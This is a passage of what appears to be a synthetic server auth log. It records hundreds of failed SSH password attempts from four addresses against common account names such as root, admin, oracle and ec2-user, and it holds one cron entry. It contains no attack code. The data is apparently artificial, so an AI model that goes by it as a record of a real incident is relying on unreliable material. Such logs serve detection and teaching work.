sshd[16436]: Failed password for admin from 103.207.39.40 port 16284 ssh2 +Aug 26 10:04:28 sshd[14655]: Failed password for administrator from 198.51.100.12 port 19658 ssh2 +Aug 26 10:04:28 sshd[11958]: Failed password for administrator from 203.0.113.88 port 31702 ssh2 +Aug 26 10:04:29 sshd[13229]: Failed password for guest from 103.207.39.40 port 52701 ssh2 +Aug 26 10:04:29 sshd[17394]: Failed password for oracle from 198.51.100.12 port 63689 ssh2 +Aug 26 10:04:29 sshd[12210]: Failed password for oracle from 203.0.113.88 port 50210 ssh2 +Aug 26 10:04:29 sshd[12827]: Failed password for test from 103.207.39.40 port 11872 ssh2 +Aug 26 10:04:29 sshd[14512]: Failed password for guest from 203.0.113.88 port 45050 ssh2 +Aug 26 10:04:29 sshd[10235]: Failed password for root from 198.51.100.12 port 20917 ssh2 +Aug 26 10:04:29 sshd[19693]: Failed password for oracle from 203.0.113.88 port 55612 ssh2 +Aug 26 10:04:29 sshd[19564]: Failed password for oracle from 203.0.113.88 port 51365 ssh2 +Aug 26 10:04:30 sshd[18848]: Failed password for oracle from 198.51.100.12 port 29171 ssh2 +Aug 26 10:04:30 sshd[12927]: Failed password for ec2-user from 192.0.2.235 port 20742 ssh2 +Aug 26 10:04:30 sshd[11338]: Failed password for invalid user administrator from 103.207.39.40 port 27116 ssh2 +Aug 26 10:04:30 sshd[18837]: Failed password for invalid user test from 203.0.113.88 port 26231 ssh2 +Aug 26 10:04:30 sshd[14867]: Failed password for guest from 198.51.100.12 port 55955 ssh2 +Aug 26 10:04:30 sshd[16790]: Failed password for user from 192.0.2.235 port 19915 ssh2 +Aug 26 10:04:31 sshd[19597]: Failed password for administrator from 198.51.100.12 port 36298 ssh2 +Aug 26 10:04:31 sshd[14008]: Failed password for user from 192.0.2.235 port 61837 ssh2 +Aug 26 10:04:31 sshd[10885]: Failed password for guest from 203.0.113.88 port 64164 ssh2 +Aug 26 10:04:31 sshd[18534]: Failed password for invalid user oracle from 103.207.39.40 port 37369 ssh2 +Aug 26 10:04:31 sshd[16016]: Failed password for ec2-user from 103.207.39.40 port 50338 ssh2 +Aug 26 10:04:32 sshd[12019]: Failed password for user from 198.51.100.12 port 62635 ssh2 +Aug 26 10:04:32 sshd[19687]: Failed password for ec2-user from 203.0.113.88 port 39004 ssh2 +Aug 26 10:04:32 sshd[13284]: Failed password for administrator from 198.51.100.12 port 39207 ssh2 +Aug 26 10:04:32 sshd[17977]: Failed password for test from 203.0.113.88 port 43191 ssh2 +Aug 26 10:04:32 sshd[16295]: Failed password for root from 192.0.2.235 port 59285 ssh2 +Aug 26 10:04:32 sshd[12299]: Failed password for oracle from 103.207.39.40 port 57960 ssh2 +Aug 26 10:04:32 sshd[13475]: Failed password for ec2-user from 103.207.39.40 port 40449 ssh2 +Aug 26 10:04:33 sshd[17091]: Failed password for admin from 203.0.113.88 port 22511 ssh2 +Aug 26 10:04:33 sshd[17562]: Failed password for admin from 203.0.113.88 port 48583 ssh2 +Aug 26 10:04:33 sshd[15933]: Failed password for test from 198.51.100.12 port 32708 ssh2 +Aug 26 10:04:33 sshd[19361]: Failed password for admin from 103.207.39.40 port 57282 ssh2 +Aug 26 10:04:33 sshd[19059]: Failed password for admin from 192.0.2.235 port 60934 ssh2 +Aug 26 10:04:33 sshd[15009]: Failed password for root from 198.51.100.12 port 43558 ssh2 +Aug 26 10:04:34 sshd[16488]: Failed password for user from 103.207.39.40 port 26833 ssh2 +Aug 26 10:04:34 sshd[14631]: Failed password for root from 203.0.113.88 port 20551 ssh2 +Aug 26 10:04:34 sshd[18685]: Failed password for test from 198.51.100.12 port 33959 ssh2 +Aug 26 10:04:34 sshd[12608]: Failed password for root from 198.51.100.12 port 53088 ssh2 +Aug 26 10:04:35 sshd[18867]: Failed password for invalid user test from 192.0.2.235 port 65408 ssh2 +Aug 26 10:04:35 sshd[13087]: Failed password for ec2-user from 192.0.2.235 port 35654 ssh2 +Aug 26 10:04:35 sshd[14340]: Failed password for administrator from 103.207.39.40 port 48864 ssh2 +Aug 26 10:04:35 sshd[16224]: Failed password for root from 103.207.39.40 port 60216 ssh2 +Aug 26 10:04:35 sshd[13588]: Failed password for invalid user ec2-user from 198.51.100.12 port 38906 ssh2 +Aug 26 10:04:35 sshd[11253]: Failed password for user from 203.0.113.88 port 57727 ssh2 +Aug 26 10:04:36 sshd[15705]: Failed password for admin from 103.207.39.40 port 41939 ssh2 +Aug 26 10:04:36 sshd[13080]: Failed password for root from 192.0.2.235 port 21152 ssh2 +Aug 26 10:04:36 sshd[10311]: Failed password for administrator from 198.51.100.12 port 30064 ssh2 +Aug 26 10:04:36 sshd[17472]: Failed password for admin from 103.207.39.40 port 48994 ssh2 +Aug 26 10:04:36 sshd[11960]: Failed password for ec2-user from 198.51.100.12 port 42460 ssh2 +Aug 26 10:04:37 sshd[16959]: Failed password for admin from 203.0.113.88 port 22092 ssh2 +Aug 26 10:04:37 sshd[12198]: Failed password for root from 203.0.113.88 port 36150 ssh2 +Aug 26 10:04:37 sshd[18386]: Failed password for ec2-user from 198.51.100.12 port 13993 ssh2 +Aug 26 10:04:37 sshd[10117]: Failed password for admin from 198.51.100.12 port 37354 ssh2 +Aug 26 10:04:38 sshd[18578]: Failed password for admin from 198.51.100.12 port 46701 ssh2 +Aug 26 10:04:38 sshd[15177]: Failed password for ec2-user from 192.0.2.235 port 63784 ssh2 +Aug 26 10:04:38 sshd[11571]: Failed password for guest from 203.0.113.88 port 30232 ssh2 +Aug 26 10:04:39 sshd[17286]: Failed password for admin from 203.0.113.88 port 16836 ssh2 +Aug 26 10:04:39 sshd[13358]: Failed password for invalid user administrator from 198.51.100.12 port 11272 ssh2 +Aug 26 10:04:39 sshd[13269]: Failed password for test from 198.51.100.12 port 64509 ssh2 +Aug 26 10:04:39 sshd[17621]: Failed password for invalid user oracle from 203.0.113.88 port 30876 ssh2 +Aug 26 10:04:40 sshd[17274]: Failed password for root from 198.51.100.12 port 26351 ssh2 +Aug 26 10:04:40 sshd[17242]: Failed password for ec2-user from 192.0.2.235 port 40305 ssh2 +Aug 26 10:04:40 sshd[17863]: Failed password for root from 198.51.100.12 port 15250 ssh2 +Aug 26 10:04:40 sshd[16746]: Failed password for invalid user test from 203.0.113.88 port 22302 ssh2 +Aug 26 10:04:40 sshd[10329]: Failed password for administrator from 198.51.100.12 port 65054 ssh2 +Aug 26 10:04:40 sshd[16955]: Failed password for root from 103.207.39.40 port 33191 ssh2 +Aug 26 10:04:41 sshd[18093]: Failed password for root from 192.0.2.235 port 57350 ssh2 +Aug 26 10:04:41 sshd[18479]: Failed password for admin from 203.0.113.88 port 20146 ssh2 +Aug 26 10:04:41 sshd[11816]: Failed password for administrator from 103.207.39.40 port 38219 ssh2 +Aug 26 10:04:41 sshd[18024]: Failed password for guest from 203.0.113.88 port 65362 ssh2 +Aug 26 10:04:42 sshd[14363]: Failed password for invalid user administrator from 198.51.100.12 port 36447 ssh2 +Aug 26 10:04:42 sshd[11409]: Failed password for root from 203.0.113.88 port 58056 ssh2 +Aug 26 10:04:42 sshd[18026]: Failed password for invalid user oracle from 192.0.2.235 port 13011 ssh2 +Aug 26 10:04:42 sshd[13316]: Failed password for root from 103.207.39.40 port 16263 ssh2 +Aug 26 10:04:43 sshd[11001]: Failed password for ec2-user from 203.0.113.88 port 65043 ssh2 +Aug 26 10:04:43 sshd[16410]: Failed password for user from 198.51.100.12 port 42711 ssh2 +Aug 26 10:04:43 sshd[13174]: Failed password for admin from 203.0.113.88 port 25194 ssh2 +Aug 26 10:04:43 sshd[13290]: Failed password for test from 203.0.113.88 port 53067 ssh2 +Aug 26 10:04:43 sshd[11018]: Failed password for root from 198.51.100.12 port 35942 ssh2 +Aug 26 10:04:44 sshd[12073]: Failed password for invalid user admin from 192.0.2.235 port 38905 ssh2 +Aug 26 10:04:45 sshd[15249]: Failed password for admin from 192.0.2.235 port 37858 ssh2 +Aug 26 10:04:45 sshd[18736]: Failed password for administrator from 198.51.100.12 port 15995 ssh2 +Aug 26 10:04:45 sshd[19391]: Failed password for administrator from 198.51.100.12 port 13918 ssh2 +Aug 26 10:04:45 sshd[15910]: Failed password for administrator from 192.0.2.235 port 52331 ssh2 +Aug 26 10:04:45 sshd[18383]: Failed password for oracle from 203.0.113.88 port 30473 ssh2 +Aug 26 10:04:46 sshd[19980]: Failed password for guest from 192.0.2.235 port 57810 ssh2 +Aug 26 10:04:46 sshd[14076]: Failed password for invalid user administrator from 192.0.2.235 port 22782 ssh2 +Aug 26 10:04:46 sshd[19609]: Failed password for root from 192.0.2.235 port 58647 ssh2 +Aug 26 10:04:47 sshd[12701]: Failed password for oracle from 198.51.100.12 port 61404 ssh2 +Aug 26 10:04:47 sshd[12562]: Failed password for test from 203.0.113.88 port 25652 ssh2 +Aug 26 10:04:47 sshd[12159]: Failed password for root from 192.0.2.235 port 44313 ssh2 +Aug 26 10:04:47 sshd[18799]: Failed password for ec2-user from 198.51.100.12 port 63496 ssh2 +Aug 26 10:04:47 sshd[13121]: Failed password for invalid user ec2-user from 192.0.2.235 port 38690 ssh2 +Aug 26 10:04:47 sshd[16192]: Failed password for user from 203.0.113.88 port 55217 ssh2 +Aug 26 10:04:47 sshd[18041]: Failed password for oracle from 192.0.2.235 port 10160 ssh2 +Aug 26 10:04:47 sshd[12485]: Failed password for guest from 103.207.39.40 port 16716 ssh2 +Aug 26 10:04:48 sshd[13424]: Failed password for oracle from 203.0.113.88 port 18501 ssh2 +Aug 26 10:04:48 sshd[11631]: Failed password for invalid user root from 103.207.39.40 port 27674 ssh2 +Aug 26 10:04:48 sshd[17961]: Failed password for oracle from 203.0.113.88 port 28172 ssh2 +Aug 26 10:04:48 sshd[12602]: Failed password for root from 203.0.113.88 port 57925 ssh2 +Aug 26 10:04:48 sshd[14250]: Failed password for root from 203.0.113.88 port 18355 ssh2 +Aug 26 10:04:49 sshd[15157]: Failed password for ec2-user from 192.0.2.235 port 16560 ssh2 +Aug 26 10:04:49 sshd[12352]: Failed password for administrator from 203.0.113.88 port 38965 ssh2 +Aug 26 10:04:50 sshd[14755]: Failed password for guest from 103.207.39.40 port 54671 ssh2 +Aug 26 10:04:50 sshd[12286]: Failed password for admin from 192.0.2.235 port 63568 ssh2 +Aug 26 10:04:50 sshd[10717]: Failed password for ec2-user from 198.51.100.12 port 48979 ssh2 +Aug 26 10:04:50 sshd[15956]: Failed password for user from 103.207.39.40 port 37900 ssh2 +Aug 26 10:04:50 sshd[12144]: Failed password for invalid user ec2-user from 103.207.39.40 port 55365 ssh2 +Aug 26 10:04:50 sshd[16625]: Failed password for invalid user ec2-user from 192.0.2.235 port 44344 ssh2 +Aug 26 10:04:50 sshd[17361]: Failed password for administrator from 203.0.113.88 port 42993 ssh2 +Aug 26 10:04:50 sshd[14736]: Failed password for administrator from 198.51.100.12 port 51286 ssh2 +Aug 26 10:04:50 sshd[12024]: Failed password for user from 203.0.113.88 port 21793 ssh2 +Aug 26 10:04:51 sshd[17255]: Failed password for test from 198.51.100.12 port 19911 ssh2 +Aug 26 10:04:51 sshd[12099]: Failed password for user from 192.0.2.235 port 38884 ssh2 +Aug 26 10:04:51 sshd[10720]: Failed password for user from 203.0.113.88 port 34722 ssh2 +Aug 26 10:04:51 sshd[16632]: Failed password for root from 192.0.2.235 port 34590 ssh2 +Aug 26 10:04:51 sshd[19741]: Failed password for administrator from 103.207.39.40 port 59546 ssh2 +Aug 26 10:04:51 sshd[14202]: Failed password for invalid user test from 203.0.113.88 port 38988 ssh2 +Aug 26 10:04:51 sshd[16266]: Failed password for ec2-user from 198.51.100.12 port 10329 ssh2 +Aug 26 10:04:52 sshd[13494]: Failed password for user from 198.51.100.12 port 29930 ssh2 +Aug 26 10:04:52 sshd[16579]: Failed password for oracle from 203.0.113.88 port 28719 ssh2 +Aug 26 10:04:53 sshd[10798]: Failed password for root from 192.0.2.235 port 17148 ssh2 +Aug 26 10:04:53 sshd[11539]: Failed password for administrator from 203.0.113.88 port 55465 ssh2 +Aug 26 10:04:53 sshd[15951]: Failed password for test from 103.207.39.40 port 12642 ssh2 +Aug 26 10:04:53 sshd[18849]: Failed password for oracle from 198.51.100.12 port 37357 ssh2 +Aug 26 10:04:53 sshd[16792]: Failed password for ec2-user from 192.0.2.235 port 21538 ssh2 +Aug 26 10:04:54 sshd[14304]: Failed password for oracle from 203.0.113.88 port 17557 ssh2 +Aug 26 10:04:54 sshd[17356]: Failed password for guest from 198.51.100.12 port 62092 ssh2 +Aug 26 10:04:54 sshd[13027]: Failed password for test from 203.0.113.88 port 57722 ssh2 +Aug 26 10:04:54 sshd[14669]: Failed password for test from 192.0.2.235 port 45629 ssh2 +Aug 26 10:04:54 sshd[14796]: Failed password for root from 192.0.2.235 port 36170 ssh2 +Aug 26 10:04:55 sshd[18584]: Failed password for ec2-user from 192.0.2.235 port 60433 ssh2 +Aug 26 10:04:55 sshd[18953]: Failed password for user from 198.51.100.12 port 56545 ssh2 +Aug 26 10:04:56 sshd[11141]: Failed password for test from 192.0.2.235 port 42879 ssh2 +Aug 26 10:04:56 sshd[12616]: Failed password for admin from 103.207.39.40 port 52858 ssh2 +Aug 26 10:04:57 sshd[16744]: Failed password for ec2-user from 103.207.39.40 port 18132 ssh2 +Aug 26 10:04:57 sshd[19705]: Failed password for test from 192.0.2.235 port 27345 ssh2 +Aug 26 10:04:57 sshd[10790]: Failed password for user from 192.0.2.235 port 61326 ssh2 +Aug 26 10:04:57 sshd[14278]: Failed password for ec2-user from 192.0.2.235 port 42354 ssh2 +Aug 26 10:04:57 sshd[11709]: Failed password for user from 103.207.39.40 port 14354 ssh2 +Aug 26 10:04:57 sshd[16735]: Failed password for invalid user administrator from 192.0.2.235 port 10604 ssh2 +Aug 26 10:04:57 CRON[6100]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:04:58 sshd[16883]: Failed password for root from 203.0.113.88 port 13648 ssh2 +Aug 26 10:04:58 sshd[12641]: Failed password for test from 103.207.39.40 port 31326 ssh2 +Aug 26 10:04:59 sshd[15798]: Failed password for invalid user test from 203.0.113.88 port 14300 ssh2 +Aug 26 10:04:59 sshd[18487]: Failed password for guest from 103.207.39.40 port 14356 ssh2 +Aug 26 10:04:59 sshd[12370]: Failed password for administrator from 192.0.2.235 port 18289 ssh2 +Aug 26 10:04:59 sshd[12124]: Failed password for root from 203.0.113.88 port 21081 ssh2 +Aug 26 10:05:00 sshd[10012]: Failed password for guest from 103.207.39.40 port 32651 ssh2 +Aug 26 10:05:00 sshd[14542]: Failed password for user from 103.207.39.40 port 16565 ssh2 +Aug 26 10:05:00 sshd[19912]: Failed password for invalid user user from 203.0.113.88 port 53186 ssh2 +Aug 26 10:05:00 sshd[12492]: Failed password for user from 103.207.39.40 port 46016 ssh2 +Aug 26 10:05:01 sshd[16316]: Failed password for oracle from 203.0.113.88 port 15868 ssh2 +Aug 26 10:05:01 sshd[15415]: Failed password for admin from 103.207.39.40 port 16767 ssh2 +Aug 26 10:05:01 sshd[17478]: Failed password for user from 192.0.2.235 port 54872 ssh2 +Aug 26 10:05:02 sshd[18179]: Failed password for oracle from 103.207.39.40 port 56279 ssh2 +Aug 26 10:05:02 sshd[16675]: Failed password for guest from 103.207.39.40 port 32006 ssh2 +Aug 26 10:05:03 sshd[12312]: Failed password for admin from 198.51.100.12 port 52995 ssh2 +Aug 26 10:05:03 sshd[15768]: Failed password for test from 103.207.39.40 port 59399 ssh2 +Aug 26 10:05:03 sshd[12467]: Failed password for admin from 192.0.2.235 port 44405 ssh2 +Aug 26 10:05:03 sshd[18974]: Failed password for root from 103.207.39.40 port 39653 ssh2 +Aug 26 10:05:03 sshd[10862]: Failed password for administrator from 203.0.113.88 port 42523 ssh2 +Aug 26 10:05:04 sshd[14351]: Failed password for test from 203.0.113.88 port 10398 ssh2 +Aug 26 10:05:04 sshd[17181]: Failed password for admin from 103.207.39.40 port 34024 ssh2 +Aug 26 10:05:04 sshd[13907]: Failed password for user from 198.51.100.12 port 37949 ssh2 +Aug 26 10:05:04 sshd[11848]: Failed password for invalid user guest from 203.0.113.88 port 58689 ssh2 +Aug 26 10:05:04 sshd[19738]: Failed password for ec2-user from 103.207.39.40 port 53430 ssh2 +Aug 26 10:05:05 sshd[18018]: Failed password for administrator from 103.207.39.40 port 43272 ssh2 +Aug 26 10:05:05 sshd[17972]: Failed password for guest from 203.0.113.88 port 44341 ssh2 +Aug 26 10:05:05 sshd[15989]: Failed password for administrator from 192.0.2.235 port 42282 ssh2 +Aug 26 10:05:05 sshd[18014]: Failed password for ec2-user from 192.0.2.235 port 50077 ssh2 +Aug 26 10:05:05 sshd[11043]: Failed password for administrator from 203.0.113.88 port 31989 ssh2 +Aug 26 10:05:05 sshd[18922]: Failed password for test from 192.0.2.235 port 13893 ssh2 +Aug 26 10:05:05 sshd[11452]: Failed password for user from 203.0.113.88 port 25897 ssh2 +Aug 26 10:05:06 sshd[10885]: Failed password for oracle from 198.51.100.12 port 38485 ssh2 +Aug 26 10:05:06 sshd[18911]: Failed password for root from 103.207.39.40 port 44792 ssh2 +Aug 26 10:05:06 sshd[10812]: Failed password for oracle from 192.0.2.235 port 16401 ssh2 +Aug 26 10:05:06 sshd[10398]: Failed password for guest from 203.0.113.88 port 64034 ssh2 +Aug 26 10:05:06 sshd[11357]: Failed password for administrator from 192.0.2.235 port 57026 ssh2 +Aug 26 10:05:07 sshd[11303]: Failed password for user from 198.51.100.12 port 57503 ssh2 +Aug 26 10:05:07 sshd[12455]: Failed password for administrator from 192.0.2.235 port 58266 ssh2 +Aug 26 10:05:08 sshd[18923]: Failed password for guest from 203.0.113.88 port 63611 ssh2 +Aug 26 10:05:08 sshd[11448]: Failed password for admin from 198.51.100.12 port 46630 ssh2 +Aug 26 10:05:08 sshd[15787]: Failed password for ec2-user from 198.51.100.12 port 58460 ssh2 +Aug 26 10:05:08 sshd[16114]: Failed password for guest from 192.0.2.235 port 28467 ssh2 +Aug 26 10:05:08 sshd[13368]: Failed password for user from 103.207.39.40 port 49990 ssh2 +Aug 26 10:05:08 sshd[12238]: Failed password for oracle from 203.0.113.88 port 60358 ssh2 +Aug 26 10:05:08 sshd[13901]: Failed password for guest from 103.207.39.40 port 43160 ssh2 +Aug 26 10:05:08 sshd[13781]: Failed password for oracle from 203.0.113.88 port 42998 ssh2 +Aug 26 10:05:09 sshd[16436]: Failed password for ec2-user from 192.0.2.235 port 31303 ssh2 +Aug 26 10:05:10 sshd[16924]: Failed password for oracle from 103.207.39.40 port 50600 ssh2 +Aug 26 10:05:11 sshd[13984]: Failed password for ec2-user from 192.0.2.235 port 18910 ssh2 +Aug 26 10:05:11 sshd[19781]: Failed password for administrator from 203.0.113.88 port 42196 ssh2 +Aug 26 10:05:11 sshd[18947]: Failed password for admin from 103.207.39.40 port 46693 ssh2 +Aug 26 10:05:11 sshd[19140]: Failed password for invalid user admin from 203.0.113.88 port 41667 ssh2 +Aug 26 10:05:11 sshd[17902]: Failed password for test from 103.207.39.40 port 64674 ssh2 +Aug 26 10:05:11 sshd[15666]: Failed password for administrator from 203.0.113.88 port 61350 ssh2 +Aug 26 10:05:11 sshd[18920]: Failed password for oracle from 103.207.39.40 port 27661 ssh2 +Aug 26 10:05:12 sshd[13366]: Failed password for admin from 192.0.2.235 port 28514 ssh2 +Aug 26 10:05:12 sshd[10386]: Failed password for guest from 198.51.100.12 port 61898 ssh2 +Aug 26 10:05:12 sshd[12799]: Failed password for admin from 203.0.113.88 port 14247 ssh2 +Aug 26 10:05:12 sshd[16898]: Failed password for test from 103.207.39.40 port 39584 ssh2 +Aug 26 10:05:13 sshd[19499]: Failed password for oracle from 198.51.100.12 port 53849 ssh2 +Aug 26 10:05:13 sshd[16555]: Failed password for user from 198.51.100.12 port 61248 ssh2 +Aug 26 10:05:13 sshd[17003]: Failed password for invalid user admin from 203.0.113.88 port 33249 ssh2 +Aug 26 10:05:13 sshd[12707]: Failed password for test from 192.0.2.235 port 15100 ssh2 +Aug 26 10:05:13 sshd[14948]: Failed password for root from 198.51.100.12 port 34122 ssh2 +Aug 26 10:05:14 sshd[19335]: Failed password for ec2-user from 192.0.2.235 port 22199 ssh2 +Aug 26 10:05:14 sshd[10101]: Failed password for ec2-user from 198.51.100.12 port 17321 ssh2 +Aug 26 10:05:14 sshd[11107]: Failed password for root from 203.0.113.88 port 40119 ssh2 +Aug 26 10:05:15 sshd[16040]: Failed password for test from 198.51.100.12 port 33736 ssh2 +Aug 26 10:05:15 sshd[12052]: Failed password for test from 198.51.100.12 port 53995 ssh2 +Aug 26 10:05:15 sshd[10394]: Failed password for administrator from 103.207.39.40 port 42322 ssh2 +Aug 26 10:05:15 sshd[11373]: Failed password for root from 103.207.39.40 port 17129 ssh2 +Aug 26 10:05:15 sshd[19859]: Failed password for invalid user guest from 203.0.113.88 port 43379 ssh2 +Aug 26 10:05:15 sshd[15634]: Failed password for oracle from 192.0.2.235 port 52853 ssh2 +Aug 26 10:05:16 sshd[10047]: Failed password for user from 203.0.113.88 port 52594 ssh2 +Aug 26 10:05:16 sshd[16567]: Failed password for administrator from 192.0.2.235 port 25935 ssh2 +Aug 26 10:05:16 sshd[19150]: Failed password for administrator from 192.0.2.235 port 57898 ssh2 +Aug 26 10:05:16 sshd[12505]: Failed password for invalid user ec2-user from 192.0.2.235 port 15441 ssh2 +Aug 26 10:05:16 sshd[18873]: Failed password for root from 103.207.39.40 port 15921 ssh2 +Aug 26 10:05:17 sshd[18203]: Failed password for root from 198.51.100.12 port 13576 ssh2 +Aug 26 10:05:17 sshd[16810]: Failed password for invalid user user from 103.207.39.40 port 57899 ssh2 +Aug 26 10:05:18 sshd[10997]: Failed password for oracle from 198.51.100.12 port 37816 ssh2 +Aug 26 10:05:18 sshd[11326]: Failed password for test from 192.0.2.235 port 31287 ssh2 +Aug 26 10:05:18 sshd[15618]: Failed password for ec2-user from 103.207.39.40 port 51088 ssh2 +Aug 26 10:05:18 sshd[16276]: Failed password for oracle from 198.51.100.12 port 34240 ssh2 +Aug 26 10:05:19 sshd[10237]: Failed password for guest from 198.51.100.12 port 31492 ssh2 +Aug 26 10:05:19 sshd[16912]: Failed password for guest from 198.51.100.12 port 47550 ssh2 +Aug 26 10:05:20 sshd[14925]: Failed password for test from 198.51.100.12 port 39147 ssh2 +Aug 26 10:05:20 sshd[11241]: Failed password for administrator from 192.0.2.235 port 17327 ssh2 +Aug 26 10:05:21 sshd[14793]: Failed password for invalid user guest from 103.207.39.40 port 56113 ssh2 +Aug 26 10:05:21 sshd[10894]: Failed password for ec2-user from 203.0.113.88 port 58923 ssh2 +Aug 26 10:05:21 sshd[10186]: Failed password for test from 192.0.2.235 port 14843 ssh2 +Aug 26 10:05:21 sshd[16950]: Failed password for user from 103.207.39.40 port 56137 ssh2 +Aug 26 10:05:21 sshd[11612]: Failed password for root from 103.207.39.40 port 12857 ssh2 +Aug 26 10:05:21 sshd[11734]: Failed password for invalid user test from 198.51.100.12 port 54100 ssh2 +Aug 26 10:05:21 sshd[13342]: Failed password for admin from 192.0.2.235 port 10508 ssh2 +Aug 26 10:05:22 sshd[19663]: Failed password for admin from 103.207.39.40 port 18347 ssh2 +Aug 26 10:05:22 sshd[14755]: Failed password for admin from 192.0.2.235 port 38804 ssh2 +Aug 26 10:05:22 sshd[14737]: Failed password for oracle from 198.51.100.12 port 38862 ssh2 +Aug 26 10:05:22 sshd[13314]: Failed password for administrator from 203.0.113.88 port 10367 ssh2 +Aug 26 10:05:22 sshd[14560]: Failed password for root from 198.51.100.12 port 57144 ssh2 +Aug 26 10:05:23 sshd[14331]: Failed password for user from 103.207.39.40 port 18290 ssh2 +Aug 26 10:05:23 sshd[12812]: Failed password for invalid user guest from 198.51.100.12 port 65420 ssh2 +Aug 26 10:05:23 sshd[16450]: Failed password for guest from 203.0.113.88 port 43006 ssh2 +Aug 26 10:05:23 sshd[13615]: Failed password for root from 192.0.2.235 port 61241 ssh2 +Aug 26 10:05:23 sshd[13081]: Failed password for administrator from 103.207.39.40 port 15668 ssh2 +Aug 26 10:05:23 sshd[16704]: Failed password for user from 103.207.39.40 port 19011 ssh2 +Aug 26 10:05:23 sshd[12186]: Failed password for user from 198.51.100.12 port 41815 ssh2 +Aug 26 10:05:23 sshd[13043]: Failed password for admin from 103.207.39.40 port 42984 ssh2 +Aug 26 10:05:23 sshd[12842]: Failed password for administrator from 103.207.39.40 port 26809 ssh2 +Aug 26 10:05:24 sshd[16446]: Failed password for test from 103.207.39.40 port 19000 ssh2 +Aug 26 10:05:24 sshd[10177]: Failed password for guest from 203.0.113.88 port 17656 ssh2 +Aug 26 10:05:24 sshd[12394]: Failed password for ec2-user from 103.207.39.40 port 59900 ssh2 +Aug 26 10:05:25 sshd[17515]: Failed password for oracle from 198.51.100.12 port 33578 ssh2 +Aug 26 10:05:25 sshd[11839]: Failed password for test from 103.207.39.40 port 48541 ssh2 +Aug 26 10:05:25 sshd[14963]: Failed password for root from 203.0.113.88 port 44574 ssh2 +Aug 26 10:05:25 sshd[15410]: Failed password for ec2-user from 198.51.100.12 port 15139 ssh2 +Aug 26 10:05:25 sshd[15324]: Failed password for ec2-user from 192.0.2.235 port 20081 ssh2 +Aug 26 10:05:26 sshd[16646]: Failed password for oracle from 198.51.100.12 port 26517 ssh2 +Aug 26 10:05:26 sshd[15789]: Failed password for administrator from 198.51.100.12 port 35578 ssh2 +Aug 26 10:05:26 sshd[17345]: Failed password for ec2-user from 192.0.2.235 port 17152 ssh2 +Aug 26 10:05:26 sshd[10606]: Failed password for admin from 192.0.2.235 port 40237 ssh2 +Aug 26 10:05:26 sshd[19818]: Failed password for administrator from 198.51.100.12 port 36140 ssh2 +Aug 26 10:05:26 sshd[17025]: Failed password for test from 198.51.100.12 port 60695 ssh2 +Aug 26 10:05:26 sshd[19785]: Failed password for oracle from 192.0.2.235 port 49394 ssh2 +Aug 26 10:05:27 sshd[19039]: Failed password for admin from 103.207.39.40 port 57723 ssh2 +Aug 26 10:05:27 sshd[15105]: Failed password for administrator from 103.207.39.40 port 56353 ssh2 +Aug 26 10:05:27 sshd[13005]: Failed password for root from 203.0.113.88 port 32163 ssh2 +Aug 26 10:05:27 sshd[17533]: Failed password for oracle from 103.207.39.40 port 29555 ssh2 +Aug 26 10:05:27 sshd[16577]: Failed password for admin from 103.207.39.40 port 30812 ssh2 +Aug 26 10:05:27 sshd[16058]: Failed password for administrator from 103.207.39.40 port 53824 ssh2 +Aug 26 10:05:27 sshd[15248]: Failed password for oracle from 198.51.100.12 port 12572 ssh2 +Aug 26 10:05:27 sshd[13378]: Failed password for administrator from 103.207.39.40 port 39698 ssh2 +Aug 26 10:05:28 sshd[19018]: Failed password for oracle from 103.207.39.40 port 27632 ssh2 +Aug 26 10:05:28 sshd[15269]: Failed password for test from 103.207.39.40 port 54741 ssh2 +Aug 26 10:05:28 sshd[18426]: Failed password for administrator from 203.0.113.88 port 37852 ssh2 +Aug 26 10:05:29 sshd[13874]: Failed password for test from 203.0.113.88 port 20137 ssh2 +Aug 26 10:05:29 sshd[17208]: Failed password for root from 103.207.39.40 port 55841 ssh2 +Aug 26 10:05:29 sshd[11403]: Failed password for test from 103.207.39.40 port 48124 ssh2 +Aug 26 10:05:29 sshd[12283]: Failed password for test from 103.207.39.40 port 16504 ssh2 +Aug 26 10:05:30 sshd[14097]: Failed password for admin from 103.207.39.40 port 64243 ssh2 +Aug 26 10:05:30 sshd[10953]: Failed password for user from 198.51.100.12 port 62207 ssh2 +Aug 26 10:05:30 sshd[11572]: Failed password for test from 198.51.100.12 port 59812 ssh2 +Aug 26 10:05:30 sshd[16694]: Failed password for test from 198.51.100.12 port 53106 ssh2 +Aug 26 10:05:30 sshd[10492]: Failed password for ec2-user from 103.207.39.40 port 25891 ssh2 +Aug 26 10:05:31 sshd[16182]: Failed password for ec2-user from 203.0.113.88 port 58639 ssh2 +Aug 26 10:05:31 sshd[15807]: Failed password for invalid user root from 203.0.113.88 port 45505 ssh2 +Aug 26 10:05:31 sshd[11306]: Failed password for oracle from 203.0.113.88 port 26540 ssh2 +Aug 26 10:05:31 sshd[16238]: Failed password for admin from 192.0.2.235 port 49738 ssh2 +Aug 26 10:05:31 sshd[11399]: Failed password for invalid user oracle from 198.51.100.12 port 48860 ssh2 +Aug 26 10:05:31 sshd[18033]: Failed password for root from 192.0.2.235 port 53293 ssh2 +Aug 26 10:05:32 sshd[12834]: Failed password for guest from 203.0.113.88 port 36131 ssh2 +Aug 26 10:05:32 sshd[12709]: Failed password for user from 203.0.113.88 port 53915 ssh2 +Aug 26 10:05:32 sshd[11929]: Failed password for administrator from 203.0.113.88 port 27013 ssh2 +Aug 26 10:05:32 sshd[10466]: Failed password for root from 203.0.113.88 port 39993 ssh2 +Aug 26 10:05:32 sshd[11819]: Failed password for admin from 103.207.39.40 port 53745 ssh2 +Aug 26 10:05:32 sshd[10832]: Failed password for oracle from 203.0.113.88 port 48649 ssh2 +Aug 26 10:05:32 sshd[14739]: Failed password for oracle from 203.0.113.88 port 65097 ssh2 +Aug 26 10:05:33 sshd[11641]: Failed password for oracle from 203.0.113.88 port 52528 ssh2 +Aug 26 10:05:33 sshd[17576]: Failed password for user from 192.0.2.235 port 26905 ssh2 +Aug 26 10:05:33 sshd[17056]: Failed password for oracle from 198.51.100.12 port 49088 ssh2 +Aug 26 10:05:33 sshd[10804]: Failed password for test from 192.0.2.235 port 54509 ssh2 +Aug 26 10:05:33 sshd[16928]: Failed password for user from 103.207.39.40 port 24260 ssh2 +Aug 26 10:05:33 sshd[12544]: Failed password for oracle from 192.0.2.235 port 52483 ssh2 +Aug 26 10:05:33 sshd[15183]: Failed password for root from 198.51.100.12 port 55754 ssh2 +Aug 26 10:05:33 sshd[19703]: 